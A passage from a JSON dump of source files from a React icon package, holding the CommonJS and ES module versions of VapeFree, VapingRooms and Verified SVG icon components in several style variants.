    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 21.9c-.39.39-1.02.39-1.41 0l-2.9-2.9H8v-3h5.17L2.1 4.93c-.39-.39-.39-1.02 0-1.41s1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M18.83 16h1.67c.83 0 1.5.67 1.5 1.5 0 .46-.21.87-.53 1.14zm-8.33 1c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m8.35-9.27c.62-.61 1-1.45 1-2.38 0-1.51-1-2.79-2.38-3.21-.48-.14-.97.22-.97.72 0 .33.21.62.52.71.77.23 1.33.94 1.33 1.78 0 .82-.53 1.51-1.27 1.76-.33.11-.58.39-.58.74V8c0 .37.27.69.64.75 1.93.31 3.36 2 3.36 4.02v1.48c0 .41.34.75.75.75s.75-.34.75-.75v-1.49c0-2.22-1.28-4.14-3.15-5.03m-4.37 3.92h1.55c1.05 0 1.97.74 1.97 2.05v.55c0 .41.34.75.76.75.41 0 .75-.33.75-.75v-.89c-.01-1.81-1.61-3.16-3.48-3.16h-1.3c-1.02 0-1.94-.73-2.07-1.75-.12-.95.46-1.7 1.3-1.93.32-.09.54-.38.54-.72 0-.49-.46-.86-.93-.72-1.41.41-2.43 1.71-2.42 3.24zM3 18.5c1.33 0 2.71.18 4 .5v-3c-1.29.32-2.67.5-4 .5-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'VapeFreeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapeFreeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zM16.17 19H8v-3h5.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm2.66-3H22v3h-.17zM11 17.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03M11.15 8.32V8.3c0-1.85 1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05h-1.55z\"\n}), 'VapeFreeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapeFreeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zM16.17 19H8v-3h5.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm2.66-3H22v3h-.17zM11 17.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03M11.15 8.32V8.3c0-1.85 1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05h-1.55z\"\n}), 'VapeFreeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapeFreeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10.5\",\n  cy: \"17.5\",\n  r: \".5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zM16.17 19H8v-3h5.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm2.66-3H22v3h-.17zM11 17.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03M11.15 8.32V8.3c0-1.85 1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05h-1.55z\"\n}, \"1\")], 'VapeFreeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapeFreeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10.5\",\n  cy: \"17.5\",\n  r: \".5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zM16.17 19H8v-3h5.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm2.66-3H22v3h-.17zM11 17.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03M11.15 8.32V8.3c0-1.85 1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05h-1.55z\"\n}, \"1\")], 'VapeFreeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapingRooms.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zm20-.5v3H8v-3zm-11 1.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03m-2.5.6V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05H14.5c-1.85 0-3.35-1.5-3.35-3.35s1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16\"\n}), 'VapingRooms');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapingRooms.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zm20-.5v3H8v-3zm-11 1.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03m-2.5.6V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05H14.5c-1.85 0-3.35-1.5-3.35-3.35s1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16\"\n}), 'VapingRooms');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapingRoomsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zm20-.5v3H8v-3zm-11 1.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03m-2.5.6V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05H14.5c-1.85 0-3.35-1.5-3.35-3.35s1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16\"\n}), 'VapingRoomsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapingRoomsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zm20-.5v3H8v-3zm-11 1.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03m-2.5.6V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05H14.5c-1.85 0-3.35-1.5-3.35-3.35s1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16\"\n}), 'VapingRoomsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapingRoomsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 17.5c0 .83-.67 1.5-1.5 1.5H8v-3h12.5c.83 0 1.5.67 1.5 1.5M10.5 17c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m8.35-9.27c.62-.61 1-1.45 1-2.38 0-1.51-1-2.79-2.38-3.21-.48-.14-.97.22-.97.72 0 .33.21.62.52.71.77.23 1.33.94 1.33 1.78 0 .82-.53 1.51-1.27 1.76-.33.11-.58.39-.58.74V8c0 .37.27.69.64.75 1.93.31 3.36 2 3.36 4.02v1.48c0 .41.34.75.75.75s.75-.34.75-.75v-1.49c0-2.22-1.28-4.14-3.15-5.03M18.76 15c.41 0 .75-.33.75-.75v-.89c-.01-1.81-1.61-3.16-3.48-3.16h-1.3c-1.02 0-1.94-.73-2.07-1.75-.12-.95.46-1.7 1.3-1.93.32-.09.54-.38.54-.72 0-.49-.46-.86-.93-.72-1.42.41-2.45 1.73-2.42 3.28.03 1.84 1.62 3.29 3.46 3.29h1.42c1.05 0 1.97.74 1.97 2.05v.55c0 .41.34.75.76.75M3 18.5c1.33 0 2.71.18 4 .5v-3c-1.29.32-2.67.5-4 .5-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'VapingRoomsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapingRoomsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 17.5c0 .83-.67 1.5-1.5 1.5H8v-3h12.5c.83 0 1.5.67 1.5 1.5M10.5 17c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m8.35-9.27c.62-.61 1-1.45 1-2.38 0-1.51-1-2.79-2.38-3.21-.48-.14-.97.22-.97.72 0 .33.21.62.52.71.77.23 1.33.94 1.33 1.78 0 .82-.53 1.51-1.27 1.76-.33.11-.58.39-.58.74V8c0 .37.27.69.64.75 1.93.31 3.36 2 3.36 4.02v1.48c0 .41.34.75.75.75s.75-.34.75-.75v-1.49c0-2.22-1.28-4.14-3.15-5.03M18.76 15c.41 0 .75-.33.75-.75v-.89c-.01-1.81-1.61-3.16-3.48-3.16h-1.3c-1.02 0-1.94-.73-2.07-1.75-.12-.95.46-1.7 1.3-1.93.32-.09.54-.38.54-.72 0-.49-.46-.86-.93-.72-1.42.41-2.45 1.73-2.42 3.28.03 1.84 1.62 3.29 3.46 3.29h1.42c1.05 0 1.97.74 1.97 2.05v.55c0 .41.34.75.76.75M3 18.5c1.33 0 2.71.18 4 .5v-3c-1.29.32-2.67.5-4 .5-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'VapingRoomsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapingRoomsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zm20-.5v3H8v-3zm-11 1.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03m-2.5.6V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05H14.5c-1.85 0-3.35-1.5-3.35-3.35s1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16\"\n}), 'VapingRoomsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapingRoomsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zm20-.5v3H8v-3zm-11 1.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03m-2.5.6V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05H14.5c-1.85 0-3.35-1.5-3.35-3.35s1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16\"\n}), 'VapingRoomsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapingRoomsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10.5\",\n  cy: \"17.5\",\n  r: \".5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zm20-.5v3H8v-3zm-11 1.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03m-2.5.6V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05H14.5c-1.85 0-3.35-1.5-3.35-3.35s1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16\"\n}, \"1\")], 'VapingRoomsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapingRoomsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10.5\",\n  cy: \"17.5\",\n  r: \".5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zm20-.5v3H8v-3zm-11 1.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03m-2.5.6V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05H14.5c-1.85 0-3.35-1.5-3.35-3.35s1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16\"\n}, \"1\")], 'VapingRoomsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Verified.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 12-2.44-2.79.34-3.69-3.61-.82-1.89-3.2L12 2.96 8.6 1.5 6.71 4.69 3.1 5.5l.34 3.7L1 12l2.44 2.79-.34 3.7 3.61.82L8.6 22.5l3.4-1.47 3.4 1.46 1.89-3.19 3.61-.82-.34-3.69zm-12.91 4.72-3.8-3.81 1.48-1.48 2.32 2.33 5.85-5.87 1.48 1.48z\"\n}), 'Verified');"
  },
  {
    "path": "packages/mui-icons-material/lib/Verified.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 12-2.44-2.79.34-3.69-3.61-.82-1.89-3.2L12 2.96 8.6 1.5 6.71 4.69 3.1 5.5l.34 3.7L1 12l2.44 2.79-.34 3.7 3.61.82L8.6 22.5l3.4-1.47 3.4 1.46 1.89-3.19 3.61-.82-.34-3.69zm-12.91 4.72-3.8-3.81 1.48-1.48 2.32 2.33 5.85-5.87 1.48 1.48z\"\n}), 'Verified');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 11.99 20.56 9.2l.34-3.69-3.61-.82L15.4 1.5 12 2.96 8.6 1.5 6.71 4.69 3.1 5.5l.34 3.7L1 11.99l2.44 2.79-.34 3.7 3.61.82 1.89 3.2 3.4-1.47 3.4 1.46 1.89-3.19 3.61-.82-.34-3.69zm-3.95 1.48-.56.65.08.85.18 1.95-1.9.43-.84.19-.44.74-.99 1.68-1.78-.77-.8-.34-.79.34-1.78.77-.99-1.67-.44-.74-.84-.19-1.9-.43.18-1.96.08-.85-.56-.65L3.67 12l1.29-1.48.56-.65-.09-.86-.18-1.94 1.9-.43.84-.19.44-.74.99-1.68 1.78.77.8.34.79-.34 1.78-.77.99 1.68.44.74.84.19 1.9.43-.18 1.95-.08.85.56.65 1.29 1.47z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.09 13.75-2.32-2.33-1.48 1.49 3.8 3.81 7.34-7.36-1.48-1.49z\"\n}, \"1\")], 'VerifiedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 11.99 20.56 9.2l.34-3.69-3.61-.82L15.4 1.5 12 2.96 8.6 1.5 6.71 4.69 3.1 5.5l.34 3.7L1 11.99l2.44 2.79-.34 3.7 3.61.82 1.89 3.2 3.4-1.47 3.4 1.46 1.89-3.19 3.61-.82-.34-3.69zm-3.95 1.48-.56.65.08.85.18 1.95-1.9.43-.84.19-.44.74-.99 1.68-1.78-.77-.8-.34-.79.34-1.78.77-.99-1.67-.44-.74-.84-.19-1.9-.43.18-1.96.08-.85-.56-.65L3.67 12l1.29-1.48.56-.65-.09-.86-.18-1.94 1.9-.43.84-.19.44-.74.99-1.68 1.78.77.8.34.79-.34 1.78-.77.99 1.68.44.74.84.19 1.9.43-.18 1.95-.08.85.56.65 1.29 1.47z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.09 13.75-2.32-2.33-1.48 1.49 3.8 3.81 7.34-7.36-1.48-1.49z\"\n}, \"1\")], 'VerifiedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 12-2.44-2.79.34-3.69-3.61-.82-1.89-3.2L12 2.96 8.6 1.5 6.71 4.69 3.1 5.5l.34 3.7L1 12l2.44 2.79-.34 3.7 3.61.82L8.6 22.5l3.4-1.47 3.4 1.46 1.89-3.19 3.61-.82-.34-3.69zM9.38 16.01 7 13.61a.996.996 0 0 1 0-1.41l.07-.07c.39-.39 1.03-.39 1.42 0l1.61 1.62 5.15-5.16c.39-.39 1.03-.39 1.42 0l.07.07c.39.39.39 1.02 0 1.41l-5.92 5.94c-.41.39-1.04.39-1.44 0\"\n}), 'VerifiedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 12-2.44-2.79.34-3.69-3.61-.82-1.89-3.2L12 2.96 8.6 1.5 6.71 4.69 3.1 5.5l.34 3.7L1 12l2.44 2.79-.34 3.7 3.61.82L8.6 22.5l3.4-1.47 3.4 1.46 1.89-3.19 3.61-.82-.34-3.69zM9.38 16.01 7 13.61a.996.996 0 0 1 0-1.41l.07-.07c.39-.39 1.03-.39 1.42 0l1.61 1.62 5.15-5.16c.39-.39 1.03-.39 1.42 0l.07.07c.39.39.39 1.02 0 1.41l-5.92 5.94c-.41.39-1.04.39-1.44 0\"\n}), 'VerifiedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 12-2.44-2.79.34-3.69-3.61-.82-1.89-3.2L12 2.96 8.6 1.5 6.71 4.69 3.1 5.5l.34 3.7L1 12l2.44 2.79-.34 3.7 3.61.82L8.6 22.5l3.4-1.47 3.4 1.46 1.89-3.19 3.61-.82-.34-3.69zm-12.91 4.72-3.8-3.81 1.48-1.48 2.32 2.33 5.85-5.87 1.48 1.48z\"\n}), 'VerifiedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 12-2.44-2.79.34-3.69-3.61-.82-1.89-3.2L12 2.96 8.6 1.5 6.71 4.69 3.1 5.5l.34 3.7L1 12l2.44 2.79-.34 3.7 3.61.82L8.6 22.5l3.4-1.47 3.4 1.46 1.89-3.19 3.61-.82-.34-3.69zm-12.91 4.72-3.8-3.81 1.48-1.48 2.32 2.33 5.85-5.87 1.48 1.48z\"\n}), 'VerifiedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedTwoTone.js",
